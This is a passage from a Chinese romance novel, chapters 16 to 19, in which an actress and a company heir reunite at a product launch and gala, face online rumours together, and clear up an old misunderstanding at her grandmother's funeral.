工作人员跟左榆讲解了一些注意事项，左榆一只耳进一只耳出，心里想的全是一会儿见到杨嘉安时该用什么表情。看到她这种不在状态的样子，小朵暗自担心，既担心她是不是哪里不舒服，又担心一会儿上台后会不会出什么岔子。
在主持人的隆重
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介绍后，左榆缓步走上了台，站在台上的她全程眼神放空，没有聚神在杨嘉安所坐的前排。跟主持人进行了短暂的互动后，就进入了最后的合照环节。主持人将坐在第一排的杨嘉安和林毓敏也请了上来。
看着他们一起上台，左榆自然而然想起了那年在T大看到的那一幕。杨嘉安今天穿的是一套黑色西装，眉宇间褪去了学生时期的青涩，增添了几丝成熟与稳重，不变的是他还是那么好看，从前就是人群中最吸睛的那个，如今有了小杨总这个身份的加持，身上更是散发出了多几分的贵气。
在与杨嘉安四目相对的那一刻，左榆迅速弹开了眼神。主持人示意杨嘉安站在左榆旁边，林毓敏却不合时宜地走到左榆面前，将她和杨嘉安隔开。
“左小姐，我们终于见到面了。”林毓敏带着职业微笑跟左榆打了个招呼，“前段时间我经常去你们公司跟楠姐谈代言的事，那时候就念叨着什么时候能见一见你呢。”
左榆不确定林毓敏还记不记得自己，但既然她表现得像是两人第一次见面的样子，那就陪她做戏吧。“很荣幸能成为你们新产品的代言人，也感谢贵公司对我的认可。”左榆回了她一个旗鼓相当的笑容。
“哪里的话，左小姐本身就是一个非常优秀的人，非常符合我们公司对代言人的要求。”
“来，我们合影了。”
左榆已经不想跟她继续聊下去，正在想怎样抽身，好在主持人及时打断了她。
发布会结束后，左榆非常礼貌地跟诺辉那些在场的高层领导一一打了招呼才离开，唯独忽略了杨嘉安，还有林毓敏。
回酒店的保姆车上，小朵迫不及待跟左榆说了整个发布会在网络上的反响，“真是绝了，代言人那个话题怎么都做不上去，明明热度也够，就是上不去热搜榜，反倒是#杨嘉安手机屏保是左榆”这个话题一跃登顶。不过也好，总算是有曝光，就是不知道诺辉对这个热搜话题满不满意。”
左榆点进话题词里看了一下大家的讨论，内容出奇得一致，都是在谈论杨嘉安。
“这个哥哥我不曾见过，诺辉竟然还有这种逆天颜值的老板？”
“这种程度的帅哥是不是用钱也撬不动了？”
“啊啊啊啊，谁能告诉我这位小杨总从哪里蹦出来的，为什么这么帅！”
“礼貌请问小杨总家里还缺扫地阿姨吗”
……
在这些讨论的缝隙里也有那么几个提到左榆的，但瞬间沉没了，大家似乎并不怎么好奇为什么杨嘉安的手机屏保是左榆的照片。
“楠姐有没有说什么？”
“暂时没有，她那边今天也有活动，估计没空搭理我们。”
“那就行了，如果有事的话，她就算在月球也要打电话过来骂人。”左榆拿着手机，漫不经心地刷着微博。
“不过，我还是得先做个预案，刚才酒店里人多我就没问，你跟小杨总是不是认识？”小朵满脸的不信，自觉告诉她这两人之间有事。
正在刷手机的左榆听到小朵的话，手指明显顿了顿，嘴上却不假思索回了一句“不认识”。
“楠姐发了条信息过来。”
“她说什么？”
“她说诺辉邀请你参加晚上的晚宴。”
“怎么这么突然，之前也没这个安排呀……”
“说是临时安排的，刚好你晚上没有其他安排，就替你答应了。”
“……”
16. 第 16 章
“你还挺懂得营销。”好友秦晖打趣杨嘉安。
发布会结束后，杨嘉安回到酒店休息，秦晖是他在国外时认识的朋友。
“什么营销？”
“把手机屏保换成左榆的照片，流量不就来了，你看，都热搜榜首了。”秦晖说着，将手机递到杨嘉安面前。
杨嘉安只是微微瞟了一眼手机屏幕，并不在意上面说了什么，道，“这张屏保我用了很久了。”
“瞎说，你这手机才换。”
“我以前的手机也是用的这个屏保。”
秦晖满脸疑惑地看着杨嘉安，他跟杨嘉安认识四年了，还从没见他对那个异性主动过，不仅不主动，主动靠近他的也都被他拒之门外，圈子里的朋友都说他白瞎了这么帅一张脸。“你什么时候开始追星了？”他甚至认为杨嘉安是在追星，也没想到另外一种可能，“我认识左榆经纪公司的领导，要不要我帮你牵牵线？”他坏笑。
“不需要。”杨嘉安倒了两杯水，将其中一杯递给秦晖，“喝水吗？”
“喝什么水，说正事，”秦晖拨开他的手，“难得看到你对一个女人产生兴趣，给个机会让我帮你撮合撮合也好啊。”
杨嘉安喝了口水，沉默片刻后道：“不必，我跟她是旧识。”
“什么！”秦晖当即就来了兴致，“是什么样的旧识？难不成你这几年不近女色，是为了她守身如玉？”
“不会说话可以不说，她有男朋友，”杨嘉安顿了顿，“从前……是有男朋友的。”
“不可能，她绝对没有男朋友，”秦晖斩钉截铁，“这事我有发言权，在娱乐圈里混，但凡有点事业心都不会在上升期谈恋爱，左榆事业正当时，不可能谈恋爱，以前应该也没有，没听说过。”
听了秦晖的话，杨嘉安若有所思，“你的意思是，她谈恋爱的话会影响事业？”
“那当然，我妈公司有一个小年轻艺人，恋情一曝光就从天堂跌到地狱，就像古代的宠妃被打入冷宫。”
“那你刚刚还说要帮我撮合？这不是害人吗？”如果说杨嘉安刚刚还是说笑的表情，此刻他已经完全严肃下来了。
“我说帮你撮合，又没让你跟他谈恋爱结婚，玩玩嘛，娱乐圈都是这么玩的，玩两次又不用负责任……”秦晖还想继续说下去，却被杨嘉安一个凌厉的眼神给阻止了，“行，我不说了。”
晚上的晚宴是不公开活动，不会有媒体之类的外人，基本都是诺辉的高层和行业内的尖端人士。
左榆选了一件稍日常风格的礼服，画了一个淡妆，却也是灿若星辰，美丽动人。她并不是一个十分外向的人，在这种场合，从被动参加到主动跟人打招呼，她花了很长的时间锻炼自己，到现在也能应对自如。
毕竟是诺辉新请的代言人，晚宴全程都有工作人员带领，左榆负责点头、微笑、打招呼，从进场后，她的眼睛就仿佛不可控制地搜寻着杨嘉安的身影，没看到时，稍显失落。
然而，当杨嘉安和林毓敏一起出现时，她心里又生出了不快。
“左小姐，给你安排的座位在这边，您先在这里坐一会儿。”
“好的，谢谢。”
左榆刚坐下没一会儿，一位不知道是哪个公司的老板拿着一杯酒走到左榆旁边，非要跟她喝一杯，她礼貌回应了，哪知这位老板喝完酒也没有要走的意思，说是想跟她拍张照，却一个劲儿往她身上蹭。
就在她不知所措时，一只拿着酒杯的手挡在了她面前。
“王总，咱们喝一杯。”杨嘉安将左榆护在身后，朝那位王总举起了酒杯。
“我怎么能轮到小杨总来敬酒，是我唐突了，自罚一杯。”王总说完，将一杯酒一饮而尽后，悻悻离开。
“谢谢。”左榆用几乎只有自己能听到的声音向杨嘉安道了谢。
“好久不见。”杨嘉安说。
“嗯，好久不见，没想到再见面，我们会是这样的身份。”
“诺辉是我外公创立的，他年事已高，所以让我来帮忙打理。”杨嘉安坐在左榆身边，主动解释。
“原来是这样。”左榆不怀疑杨嘉安的能力，只是他在周围众多面孔中稍显稚嫩，难免会让人疑问他是如何成为诺辉的小杨总，“以前倒是从来没听你讲过。”
刚说完后面那句话，左榆就后悔了，满打满算，她跟杨嘉安从认识到分开也不过一年的时间，当中真正相处的时间更少，所以杨嘉安之前没跟她说过这一层关系也是正常。
“你呢？为什么会想到进娱乐圈？”
左榆眼眸微转，眼底露出一丝悲伤，自嘲道：“混口饭吃，在哪里混都是一样。”
她的那一点情绪变化，杨嘉安全部看在眼里，似乎她身上发生了很不愉快的事情，那些事情大概是让她受到了极大的委屈。
“嘉安，你怎么跑这里来了，人家杜总还等着你呢。”林毓敏突然出现，径直朝杨嘉安走来，直到走到他身边，才惊呼了一句，“左小姐，你也在呢。不好意思啊，嘉安还有事，我们就先失陪了，你自便。”
左榆点头微笑：“你们先忙。”
杨嘉安却纹丝不动地坐着，丝毫没有起身离开的意思，林毓敏亲昵地推了推他的肩膀，嗔道：“还不快走。”
“你去跟杜总谈就行了，我跟左小姐有事要说。”杨嘉安说着，往左榆那边歪了歪身子，尽量拉开与林毓敏的距离。
“这不好吧。”林毓敏脸上的笑容僵硬住了，有些尴尬，“杜总就在那边，要是看到你把他晾在一边，却跟左小姐坐在一起……”
“怎么了？”杨嘉安的脸色严肃起来，“都是合作伙伴，谁比谁高贵？”
“我没有贬低左小姐的意思，只是杜总确实……好吧，那你们先聊着，我就不打扰了。”林毓敏见杨嘉安脸上难看，非常识相地住嘴了，离开时，她冷漠地扫了左榆一眼。
“工作重要，你有事的话就先去忙吧。”
“你跟你男朋友分手了吧？”杨嘉安摸着面前的酒杯，装作不经意提起。
“什么男朋友？”这么多年过去，她差点忘了当初骗杨嘉安自己跟张星辰在一起的事，好在脑子在短暂短路后迅速恢复正常，“那个，是，分手了，几年前就分手了。”
她回答得磕磕巴巴，杨嘉安又怎么会看不出来。
为了重新占领“上风”，左榆也将林毓敏给提了出来，“你
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跟林小姐也分手了？”
“我跟她？没在一起过，哪里来的分手。”杨嘉安答完，又感觉到不对，“你这么问，是因为你以为我跟她在一起了？”
左榆低头，又想到了多年前那个让她挥之不去的画面，“难道不是吗？都一起过夜了，不需要负责吗？”
“什么一起过夜？”她的话让杨嘉安疑惑不已，“我是不是错过了什么信息？”
“五年前，我去你学校找你，亲眼看到你跟她一起出了宿舍，一晚上都没回来，可不就是一起过夜了。”
“当然不是。”杨嘉安没有经过任何思索当即就反驳了左榆，仿佛那段记忆刻在他脑子里之深刻能让他不需要回忆。
他还想继续解释时，来了一个诺辉的工作人员，在他耳边说了几句悄悄话，他来不及跟左榆打招呼就跟工作人员一起离开了。
直到晚宴结束，左榆没有见到杨嘉安再回来，但是，他俩安又上热搜了。
送他们上热搜的是几张照片，拍到的正是他俩坐一起聊天的时候。这一次，大家的讨论不再倾斜到杨嘉安那边，甚至有人磕起了他们的CP，毕竟俊男靓女的合照确实养眼。
从晚宴会场会到酒店已是深夜，明天还有戏要拍，左榆打算早早休息，却无论如何都睡不着。以前，她曾想过好多种与杨嘉安再见面的场景，唯独没有今天这种。
她拿出手机，点开相册的收藏夹，这里放着她那年跟杨嘉安拍的那张拍立得，原件在家里，这张是她用手机拍下来的。
看着照片上的杨嘉安，又想到今天所见的杨嘉安，一些隐藏在心里多年的感情都迸发了出来。她承认这些年来，她对杨嘉安念念不忘，因为初恋本来就是刻骨铭心的。
左榆思绪乱飞时，小朵突然发来一条微信。
【小朵：姐，你睡了吗？】
【小鱼干儿：还没呢，怎么了？】
【小朵：那我去你房间找你一下，有点事。】
【小鱼干儿：行，你上来吧。】
三分钟后，小朵敲响了房门。
“有什么事？”左榆开门，见在小朵旁边还站着一个与她年龄相仿的女子，“这位是？”
“这位是咱们诺辉总裁办的同事，说是有事要找你谈一谈。”
“现在都几点了，你们诺辉二十四小时办公啊？”左榆不解。
“不好意思，这么晚还来打扰左小姐，我们小杨总说今天晚宴上还有些话没跟左小姐聊完，想问左小姐方不方便继续聊一聊。他人现在就在酒店的顶层，不会耽搁你太久的时间。”
左榆看了看手机的时间，已经十一点了，犹豫片刻后回道：“不好意思，这个时间不太方便，麻烦你帮我转告小杨总，我们改日再接着聊。”
“好的，那左小姐你早点休息。”
“姐，那你好好休息。”小朵说完，跟着那位诺辉的同事一起离开了。
十一点十五分，左榆刚调暗房间的灯准备努力入睡，门外又响起了门铃声，她以为是小朵又来了，直接开了门。
“你今晚不睡觉啊？”嘴巴比她的手快，等到她说完后才看清门外的人。
不是小朵，而是杨嘉安。
17. 第 17 章
“怎么是你？”
“你不愿意上去，我就下来找你。”
两人面对面，一个站在门外，一个站在屋内。
“现在很晚了，小杨总还是早点休息吧。”左榆已经卸了妆，褪去了精致，多了几分随性，“又不是什么紧要的事，有时间再聊也行，工作上的事……”
“很急，不是工作上的事，我现在就要说。”杨嘉安急促道，不知不觉往前走了一小步。
距离拉近，左榆闻到了杨嘉安身上淡淡的酒味。他身上还穿着西装，大概是从饭局上下来。
“那你说吧。”
“我可以进去说吗？”
左榆本想拒绝，但突然听到走廊那边传来电梯声，她担心有人过来，还是将杨嘉安让进了房内。
她住的是一间套房，但她没有让杨嘉安去客厅里坐的意思，关上门后，她站在门背后，说：“现在可以说了。”
“那年的事，我不知道你看到我跟她一起出去了，如果知道，我当时就会解释。那天晚上也不是你想的那样，我没有跟林毓敏在一起，更没有跟她过夜。”
这句解释，为什么五年前的左榆等不到，她还记得那段在昏昏暗暗等待中的日子，天亮时的等待在入睡前碎得乱七八糟。
“都过去了，解释也没什么意义，没有其他事的话，小杨总请回吧，我要休息了，万一被人看到，又该解释不清楚了。”
屋内昏暗的灯光下，杨嘉安的眸子却格外明亮，他直勾盯着左榆，神色黯然。
“一点意义都没有了吗？”他问，双手垂在身体的两侧。
左榆低头不语。
“那就不打扰你休息，我先上去了。”杨嘉安说罢，默默开门离开了。他原本不是住这间酒店，宴会结束后打听到左榆住这里，才让助理改订了这家酒店。
杨嘉安离开后，左榆更加睡不着了，最后干脆开灯看剧本，一直到凌晨两点才有些睡意。
第二天的拍摄地点虽然就在本市，但为了能在开拍前准备充足，小朵一早就叫醒了左榆，两人一番收拾后就去了片场。
整整一个白天，左榆都在拍摄，直到晚上收工回到酒店，小朵才惴惴不安地跟左榆汇报热搜的事。
“我又上热搜了？”左榆卸着妆，不以为意地问了一句。
“你倒是淡定，楠姐都快疯了，她连律师函都准备好了。”
“什么事这么严重？粉丝之间的争吵就由他们去，没必要出律师函吧？”左榆还是惊了一下。
小朵拿出手机，将粉丝反馈过来的内容点开给左榆看，“你看这个帖子，中午发布在论坛，瞬间被搬运到各大平台，热搜一下就爆了。”
左榆接过手机，细细看起来。
这篇帖子并没有直接爆出左榆的名字，但各种描写和形容，网友一下就能猜出是她，内容大概说的是左榆在高中时候抢别人男朋友，言辞激烈，义正言辞，看的人很容易被感染情绪，自动战队在贴主那边。
在帖子的下面，还有一些人发表一些添油加醋的评论，说左榆高中的时候是个抽烟、喝酒、染发，无恶不作的坏学生，连大学都没考上。
这些评论对左榆的声誉产生了严重的损害，楠姐不得已才准备了律师函。
看着这些恶评，左榆冷笑一声，将手机还给小朵，继续卸妆。
“姐，这些都不是真的吧？”小朵小心翼翼地问。
“也不是全是假的，我高考后确实染了头发，第一次高考也的的确确没考上。”
“那除了这些之外呢？”
“无稽之谈。”
小朵松了一口气，“现在的网友也真的有意思，说得有鼻子有眼就像亲眼看到一样，这些人就是欠教训，告他一次就老实。”
左榆扭头，一脸服气地看着小朵：“你也不是第一天进这一行，哪能分不清水军和正常网友呢？”
“啊？”小朵模样呆呆，“可是这些水军为什么要造谣我们呢？”
左榆不确定这些人从哪里来的，但她隐隐约约觉得背后推波助澜的人应该对她还算熟悉，所以在诸多谣言中穿插了那么一两点真实情况。她正愣神，手机突然响了起来，是楠姐打来的语音电话。
楠姐跟小朵一样，先是问了那些爆料素材的真实性，在得到左榆否定的回答后，楠姐长长嘘了口气，整个人也放松了不少，语气也缓和下来。
“那我知道该怎么应对了，你好好在剧组拍戏，别分心，这部戏还有半个月就杀青了，”
“嗯，我知道，你放心吧。”
刚挂了楠姐的电话，好友陶然又打电话过来了。
电话一接通，陶然就一顿输出：“你没事吧？我给你发微信你也没回，网上那些谣言真的太令人生气了。”
“我今天一直在拍戏，没多少时间看手机，您请见谅啊。”
陶然是她进娱乐圈后唯一还有联系的朋友，张星辰已经在她的世界消失很久了，宋浩然跟陶然分手后，也没有怎么联系过她。曾经最好的朋友，如今已经走散了。
“听你语气感觉你的情绪没有受到影响，那我就放心了。对了，我看到你跟杨嘉安的热搜了，真没想到他竟然是诺辉的老板。”
“谁能想到呢。”
“那你们之间……”
“别八卦，好奇害死猫，你别忘了你跟宋浩然是因为什么分的手。”
“不要往我伤口上撒盐！”
……
跟陶然聊了一通后，左榆的心情明显好了不少。
“姐，你快看微博。小杨总给你撑腰呢。”小朵突然激动地喊了一声，随即将杨嘉安发的微博转发到了左榆的微信上。
左榆点开微博，看到杨嘉安微博头像的那一刻，她的心还是跳乱了。虽然他的头像被刻意模糊过，只能看出个轮廓，但她一眼就能认出，那是他们拍的第一张合照，在餐厅外面的等候区，用抽奖抽到的拍立得拍的。
【抽烟？喝酒？抢别人男朋友？你最好有明确的证据支持你的言论。】他没有提到染发，因为那年夏天相见时，左榆确实是一头枯黄的头发。
这是杨嘉安发的第一条微博，左榆翻了翻他的个人资料，发现账号的注册日期竟然是今天，也就是说他今天特地注册了微博账号来为她撑腰？
左榆暗自高兴，翻看着评论和转发的内容，大多数评论的人都是左榆的粉丝，此刻对杨嘉
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安是感激涕零，毕竟放眼整个娱乐圈，能让诺辉的老板公开撑腰的艺人屈指可数。
很快，有一条转发内容引起了左榆的注意。
【左小姐是我们公司的代言人，我跟小杨总一样，坚决维护我们的共同利益】
转发人是林毓敏。
原来如此，左榆内心的那点欣喜瞬间烟消云散，杨嘉安发布这条为她说话的微博，大概也只是怕这些谣言会影响到她代言的产品，进而影响到诺辉吧？
杨嘉安这条微博发完后，这个话题的讨论度明显逐渐降低，小朵大喜：“小杨总人还真不错，好多品牌遇到这种事就给经纪公司加压，要经纪公司快速解决，这种亲自下场解决问题的金主我还真没见过。”
小朵语毕，手机突然响了一声，“楠姐在群里发消息了，她说她刚才打电话给小杨总感谢了一番，还说等你的戏杀青后，跟你一起约小杨总吃饭，要当面感谢一下。”
消息是发在左榆、小朵和楠姐的三人群，左榆听完小朵的复述，自己又拿出手机看了一遍，随后回复了一个“好”字。
入睡前，左榆登了微博小号又去看了一遍杨嘉安的微博，刚刚还只有几千粉丝，现在已经几万了，这涨粉速度，都快赶上娱乐圈的艺人。她混在这些粉丝当中，悄悄关注了杨嘉安。
接下来的半个月还算安宁，拍摄进展顺利。这段时间，左榆没有再跟杨嘉安联系，偶尔在睡前，她会看看杨嘉安的微博，但自从上次之后，他就没发过任何内容，关注栏还是零，没关注任何人，包括左榆。
结束拍摄后，左榆回到了自己位于京市郊区的家，本以为可以好好休息几日，没想到第二天一早，妈妈就给她打来电话，说她外婆去世了。
“怎么会这么突然？”听到噩耗，左榆两眼一黑，拿着手机的手止不住颤抖。
“外婆病了很久了，为了不影响你工作，一直没让我告诉你。”
“为什么不告诉，为什么啊？”左榆开始哽咽，两年前，外公因为癌症离开，外公走时，左榆刚签约经纪公司没多久，每日处于繁忙的学习和训练之中，因为错过了妈妈的电话，没能见到外公最后一面，如今她又没能见到外婆的最后一面。
“外婆是为你着想，”妈妈的声音特别轻，仿佛已经没有力气再多说话，“后天出殡，你看你什么时候能回来。”
没等左榆回答，妈妈就挂掉了电话。
左榆再也忍不住，豆大的泪珠接二连三掉下来，从小到大与外婆之间的点滴回忆侵袭而来，外婆大概是这个世上最宠她的人，小时候她挑食，外婆总是变着法做她爱吃的食物，总是尽力满足她一次又一次无理取闹的要求……
悲伤过后，她整理好情绪跟楠姐说明了情况，然后让小朵给她订了最近一班回江城的机票。
如此仓促的决定仍旧没逃过有些粉丝的“监控”，粉丝群里立即就有了左榆飞江城的航班信息，大家都在猜测左榆去江城干吗，杨嘉安则正看着群内的聊天内容，他的微博小号在这个群里，当初莫名其妙进的，本想退出，但被群里粉丝对左榆各种各样的讨厌给吸引，一直没退出来。
思索片刻后，杨嘉安打了一通电话……
18. 第 18 章
左榆回到外婆家时，从前熟悉的门口已经贴上了挽联，前院摆放着几个白色的花圈。村里一些来帮忙的人在前屋后院穿梭着，她穿过这些人，来到外婆生前住的房间。
外婆安详地躺在床上，像睡着了一般。妈妈披麻戴孝跪在床头，满脸倦容，在看到左榆后，她缓缓站起身，用沙哑的嗓音说了一句：“过来给你外婆磕个头吧。”
左榆忍了一路的泪水终于在跪到外婆面前时汹涌而出，“外婆，是我，小鱼回来了……”
妈妈知道左榆跟外婆的感情深，但此刻疲惫的她没有多余的力气去安慰她，只是将她扶起来，轻轻拍了拍她的背，让她去楼上的小房间休息了。
左榆回到她曾经住过的二楼小房间，这屋子里，到处都有外婆的痕迹，只是回响在耳边的外婆的声音在渐渐消散。
她正坐在床上失神，妈妈拿着一叠白色的衣物进来了：“来祭奠的人比较多，你把衣服换了，跟我一起去答谢吧。”
“嗯。”左榆上次看到妈妈如此憔悴，还是在爸爸出事的时候，回想这几年来发生的事情，她心疼妈妈，站起身轻轻抱住了妈妈。
妈妈身体一僵，这大概是左榆成年后，她们第一次拥抱。
“妈妈，我长大了，可以独当一面，以后我就带着外婆的那份爱好好保护你。”左榆伏在妈妈肩膀说道，她感觉妈妈的身体微微颤抖起来，她就像妈妈安慰小时候的她一样，安慰妈妈。
入夜后，来帮忙的人逐渐离开，白天喧闹的房子开始变得安静，这种安静让左榆觉得压抑，她独自来到天台透气。
正是初秋，天气渐寒，夜晚更是凉意逼人，左榆来时没有带厚衣服，一阵秋风带着寒意袭来，她的鼻子受到刺激，打了一个大大的喷嚏。
她吸了吸鼻子，找了个避风的地方坐下，刚坐下却听见身后传来熟悉声音。
“冷就回屋吧。”
左榆猛然回头，看清楚来的人是谁后，惊愕问道：“你怎么回来了？”
杨嘉安却不回答她的问题，缓步走到她旁边，将自己的西装外套搭在她身上，又从旁边拉过来一张小凳子，挨着左榆坐下。
左榆感觉自己瞬间被杨嘉安的气息包裹住了，她下意识嗅了嗅外套。
“衣服上的香气是洗衣液的香味。”杨嘉安大概是捕捉到了左榆的小动作，没由来地解释了一句。
左榆没说话。
杨嘉安开始找话题：“我刚刚上来的时候只看到你妈妈，你爸爸没来吗？”
左榆盯着远方黑漆漆的一片，缓缓道：“他去世了。”
杨嘉安瞳孔微震，仿佛被雷击中一般，傻愣了几秒，“怎么会？”
“三年前，他挪用公款投资失败，被发现后畏罪自杀了。”左榆说话时语气平稳，就像是在说一件与自己无关的事。
三年前，那也正是左榆签约娱乐公司的时候。“所以，你进娱乐圈，是因为钱？”
“嗯，他挪用的那些公款是工程款，还有很多个家庭等着那些钱生活，爸爸一走了之，只能我和妈妈扛起责任，我们卖房卖车去还钱，可还是不够……恰好那时候被现在的经纪公司看中，他们帮我还了剩下的钱，我就签了‘卖身契’。”
“对不起。”杨嘉安的心此刻碎成了千万块，满心满眼都是对左榆的心疼，“这些年，我应该在你身边陪着你。”
左榆却笑了笑，“都过去了，没有谁理所当然该陪着谁，每个人都有自己长大的方式，只不过我的可能稍微残忍了那么一点点。”
大概是气氛使然，这还是两人重逢后第一次好好的聊天。
“上次那件事，谢谢你。”左榆想到上次杨嘉安在微博帮她说话的事，“前些天都在拍戏，楠姐之前说空闲下来要请你吃饭当面感谢。小朵说能遇到像你们公司这样公开帮艺人说话的金主太难道了。”
“你觉得我是出于合作关系才发的那条微博？”杨嘉安反问。
左榆默认。
杨嘉安看着眼前的左榆，感觉似乎有什么东西挡在了两个人中间，不再像五年前那样贴近，时间果然不会放过每一个人。
“林毓敏的转发微博，我也看到了。”左榆的言外之意，如果不是出于合作关系，林毓敏不会转发那条微博。
“小鱼。”杨嘉安轻轻抓住左榆的手腕，就像很久以前那样。
突然的肢体接触，左榆愣了一下，随即看向杨嘉安。两人四目相接，彼此都看得出眼底的温柔。
“关于我跟林毓敏之间的事，我不知道现在跟你说还晚不晚，或者说，你还愿意听吗？”杨嘉安轻声问。
左榆好像从来没有问过杨嘉安关于林毓敏的事，她知道林毓敏跟他有过一段过去，没有问的原因是那时候她跟杨嘉安的关系并不明确，自己没什么立场去问，同时也怕问得多了惹杨嘉安不快，那时候的她，就是那么小心翼翼地跟杨嘉安相处着，她也想过，是不是跟杨嘉安在一起后，她也能跟他撒撒娇了。
见左榆不说话，杨嘉安当她默认了，经过短暂的措辞，他将他与林毓敏之间的事全部说给了左榆听。
杨嘉安和林毓敏曾是同桌，林毓敏气质好、成绩好，是班上很多男生的白月光，就连最叛逆的同学也愿意听几句她的话。杨嘉安同样对林毓敏有好感，看到别的男生时不时故意接近她时，他也会吃醋。
林毓敏那么聪明，男生的小心思她能快速意会，她一次又一次暗示杨嘉安，他跟其他的男生不一样，他是特别的存在。
就这么过完高中三年，两个人一起考上了T大，大一这一年，他们的关系很好，曾牵手和拥抱，但也仅限于此，高中的老同学都认为他们在谈恋爱，杨嘉安也以为这样就是恋爱了，直到在一个雨天，他看到左榆跟一个学长牵着手、有说有笑地出现。
看到杨嘉安的那一刻，林毓敏脸上的笑容凝固了。学长倒是很大方地跟杨嘉安打招呼，他自我介绍，他是林毓敏的男朋友。
杨嘉安紧紧盯着林毓敏，“他是你男朋友？”
林毓敏含糊其辞，只好让学长先回宿舍。
学长走后，杨嘉安又重复了一遍刚刚的问题。
“不是，我只是不知道怎么拒绝他。”林毓敏当即换上一副
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委屈的表情，“我跟他说过我现在不考虑谈恋爱，但是他总是缠着我。”
“不考虑谈恋爱……”杨嘉安直到这一刻才明白，原来一直以来都是他自作多情，“我明白了。”
他要走，林毓敏却拉住了他的手，“你别走，你应该知道，从高中时候开始，你在我心里就是特别的。”
杨嘉安挣脱她的手，冷冷道：“那让别人来做这个特别的人吧。”
“那你要怎样才能不生气？”林毓敏挡住杨嘉安的去路。
“告诉所有人，我是你男朋友，断了与刚刚那位学长的联系。”
林毓敏久久没说话。
“机会只有一次，你决定好了是不是？”
林毓敏却不想就这样，她开始将问题抛向杨嘉安：“我们像现在这样不好吗？难道谈恋爱了就不能跟异性接触了？”
杨嘉安冷冷地看了她一眼，没有再与她争辩，将手中的雨伞放在她身边后，独自离开了。
林毓敏仿佛是吃定了杨嘉安舍不得离开她，第二天开始仍旧若无其事地跟身边的异性朋友打闹，她认为杨嘉安迟早会主动找她，直到过了一个月，杨嘉安都没有再找她，她才开始慌张。
她开始主动找杨嘉安，但每次都被杨嘉安推开；看到有女生靠近杨嘉安，她才开始后悔，但为时已晚。
再后来，杨嘉安和左榆相遇了，从此他的心里满满都是她。
五年前的那天，也就是左榆去T大找杨嘉安的那个傍晚，因为杨嘉安就要出国，几个朋友决定在他离校之前好好为他践行，瞒着他定了吃喝玩一条龙的KTV。林毓敏主动提出要去宿舍接他，这才导致发生左榆看到的那一幕。
至于那晚杨嘉安一晚没回宿舍，是因为有两个朋友喝多了，醉得一塌糊涂，杨嘉安没办法才在KTV附近的酒店开了一个房间，陪了他们一晚上。
“在那日后没几天，我离开了学校，开始忙着出国的事。我没跟你联系，是因为我陷入了纠结之中，我不知道分隔两地的恋爱对于你来说会是幸福，还是牢笼。如果我不能在你身边照顾你，我又有什么资格把你捆绑在我身边。也许你在大学里会遇到特别能照顾你的人，那他应该比我更适合跟你在一起吧？”
杨嘉安说着这些话时，回忆仿佛回到了五年前的时光，“有一天晚上，我听到奶奶说你回你外婆家了，那一刻我就控制不住我自己，我等天亮，等坐上第一班车赶了回来，你可能不知道我有多想见你，我本来想问问你，一个不能日日陪着在你身边但能许诺你一个未来的男朋友，你要不要。可惜我还没问出口，你说你已经有男朋友了。”
左榆埋着头，听着杨嘉安说的这一切，在黑夜中，她流下了几颗亮晶晶的眼泪。
眼泪滴在了杨嘉安的西服外套上，很快被吸收了。
原来，这颗尝起来苦苦的初恋糖果，里面的心其实是这么甜的啊，只是她当时没有咬到里面。
青春时光就是这样肆意、张扬，却又满是遗憾。
杨嘉安轻轻擦去她眼下的泪，将她拥进怀里，在她耳边轻喃：“别哭，我还在。”
19. 第 19 章
两人在黑夜里坐了很久，时而说说话，时而沉默地看着周围黑洞洞的一切，彼此心照不宣。直到能看到天边的曙光，他们才下楼各自休息。
左榆原打算只是小憩一下，等天亮了就下去帮忙，没想到一觉睡到了九点。一番洗漱后，她慌忙下楼时却见杨嘉安已经在众人当中帮忙了。
“你没休息吗？”左榆将杨嘉安拉到一边。
“睡了一会儿的。”
“那就好，谢谢你。”
后面的两天，杨嘉安忙上忙下，将一切都安排地有条有理，左榆心里很的感激。
在一切都结束后，外婆的房子变得格外冷清，左榆总感觉外婆没走，似乎在某一刻就会从厨房里端出一盘她喜欢吃的菜，笑眯眯叫她吃饭。
按照村里的习俗，外婆生前穿过的衣物都要烧过去，妈妈在整理外婆的遗物时，是不是就看着某样东西发呆，左榆看在眼里，她猜想妈妈大概是想到了从前的一些事情。在一场秋雨中，她们找了一块空地，烧掉了外婆曾穿过的衣物。
“事情都处理得差不多了，你想什么时候回广市，我给你买票？”左榆问。
妈妈却摇头道：“我暂时不回去了，想在这里住一段时间。”
左榆肯定不同意她的决定，她最近的情绪非常低落，继续住在这里睹物思人怕是会更压抑。“你跟我一起去京市吧，我最近休息，我陪你住一段时间。”
“我没事的，”妈妈安慰左榆道，“你安心去工作。”
左榆怎么能放心，她如今就只有妈妈一个亲人了，如果妈妈再出什么事，她不知道自己该怎么活。
“妈妈，那你陪陪我吧，我最近拍戏很累，想去外面旅游散散心，你陪我去，好吗？”左榆为了能让妈妈同意，拉着妈妈的手依偎在她的肩膀上。
妈妈当然知道左榆的真实意图，只是她现在哪里都不想去，更没有心情去外面玩。左榆软磨硬泡了好久，她都不松口，还是一如既往地固执。
午后，左榆懒洋洋地坐在前院，妈妈不走，她也暂时不打算回京市。
“你最近没有工作安排吗？”杨嘉安不知道是什么时候出现的。
左榆正好就将自己的烦心事说给了他听，“我现在很希望妈妈能早点走出来，也许换个环境会有帮助呢？”
杨嘉安思考了片刻，问道：“你想去哪里散心？”
“最好是国外，没人认识我的地方。”
“好，我懂了。阿姨在哪儿？”
左榆没把他这句话当回事，只是指了指里屋，示意他在里面。杨嘉安轻轻揉了揉她的头发，便往里屋去了。
不到十五分钟，杨嘉安和左榆妈妈一起出来了。
“那我们就说好了，一切我来安排，你跟小鱼按时出现就行了。”
杨嘉安的话吸引了左榆的注意，她往两人看去，竟然看到妈妈脸上露出了久违的笑容。
“行。”妈妈浅笑回道。
左榆立即跑到他们身边，一脸茫然道：“什么事？你们刚聊了什么？妈，你答应了他什么？”
“阿姨答应我去旅游。”
“什么？”左榆震惊了，“你是怎么做到的？”
杨嘉安与左榆妈妈相视一笑，“秘密。”
“你们聊着。”妈妈说完又进屋了。
左榆和杨嘉安站在门口，她依旧不罢休，想问杨嘉安到底用的什么办法说服妈妈，但杨嘉安就是不说。
“我把行程规划好后就发给你，但是在这之前，你好像必须要做一件事。”
“什么事？”
“可不可以先把我的微信从黑名单里放出来？”
“奥，可……可以。”左榆手忙脚乱地拿出手机，当着杨嘉安的面，将他的微信从黑名单里移了出来。
